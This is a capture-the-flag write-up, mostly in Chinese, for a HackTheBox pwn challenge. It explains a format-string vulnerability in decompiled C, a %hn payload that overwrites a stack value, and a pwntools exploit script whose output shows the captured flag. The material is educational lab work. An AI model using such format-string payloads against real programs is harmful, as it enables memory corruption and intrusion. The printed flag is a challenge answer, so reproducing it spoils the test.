HackTheBox-Challenges Space pirate: Entrypoint Writeup

kazma 成大資安社 創辦人/社長

Exploitation

直接放上題目關鍵邏輯的反編譯:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// local variable allocation has failed, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 num; // rax
int v5; // [rsp+0h] [rbp-40h] OVERLAPPED BYREF
int *v6; // [rsp+8h] [rbp-38h]
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-8h]

v8 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
*(_QWORD *)&v5 = 0xDEADBEEFLL;
v6 = &v5;
printf(a1ScanCard);
num = read_num();
if ( num != 1 )
{
if ( num == 2 )
check_pass();
printf(aSInvalidOption, "\x1B[1;5;31m");
exit(6969);
}
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card's serial number: ");
read(0, buf, 0x1FuLL);
printf("\nYour card is: ");
printf(buf);
if ( *(_QWORD *)&v5 == 0xDEAD1337LL )
open_door();
else
printf(aSInvalidIdIntr, "\x1B[1;5;31m");
return 0;
}

上面我有先調整過一些部分,例如 v6 應該是 v5 的 pointer 才對。
然後 check_pass() 不是今天要討論的重點,漏洞部分在 printf(buf); 有 format string 可以利用,然後題目保護全開,所以我們目標是通過後面開 flag 的檢查,也就是 v5 要等於 0xdead1337,但是一開始 v5 被宣告成 0xdeadbeef,所以我們要透過 format string write 來修改後面兩個 bytes 為 0x1337。
具體 payload 我們可以用:%4919c%7$hn",各部分的解釋如下:

  • %4919c%: 因為 printf 的 %n 寫入的是長度,所以如果打 0x1337 個字符會很沒有效率,這邊用 %?c 來直接決定輸入的長度也就是實際寫入得值,0x1337 的十進位是 4919。
  • 然後 %7 是要寫入的位置距離現在的 offset,這個待會算給各位看
  • 最後 %hn 代表的是寫入 2 個 bytes
    寫入位置的算法可以直接用 printf format string 的特性來看位置:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    1. Scan card 💳
    2. Insert password ↪️
    > 1

    [!] Scanning card.. Something is wrong!

    Insert card's serial number: %p %p %p %p %p %p %p %p %p

    Your card is: 0x7ffe036aed40 0x7f411a7ed8c0 (nil) 0xf (nil) 0xdeadbeef 0x7ffe036b13e0 0x7025207025207025 0x2520702520702520

    U

    [-] Invalid ID! Intruder detected! 🚨 🚨
    所以 v5 的 offset 是 6,v6 的 offset 就在 7,然後我們要做的是寫入到 pointer,也就是前面說的 offset 7。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import warnings

from pwn import *

warnings.filterwarnings("ignore", category=BytesWarning)

r = process("./sp_entrypoint")
r = remote("94.237.51.112", 52633)

r.sendlineafter(b"> ", "1")
p = b"%4919c%7$hn"
r.sendlineafter(b": ", p)
r.recvuntil(b"Door opened, you can proceed with the passphrase: ")
r.interactive()

執行結果:

1
2
3
4
5
6
7
└─$ python exploit.py
[+] Starting local process './sp_entrypoint': pid 376139
[+] Opening connection to 94.237.51.112 on port 52633: Done
[*] Switching to interactive mode
HTB{g4t3_0n3_d4rkn3e55_th3_w0rld_0f_p1r4t35}
[*] Got EOF while reading in interactive
$

Pwned !!!

pwn

  • Title: HackTheBox-Challenges Space pirate: Entrypoint Writeup
  • Author: kazma
  • Created at : 2024-11-05 16:25:54
  • Updated at : 2024-11-05 16:53:12
  • Link: https://kazma.tw/2024/11/05/HackTheBox-Challenges-Space-pirate-Entrypoint-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Challenges Space pirate: Entrypoint Writeup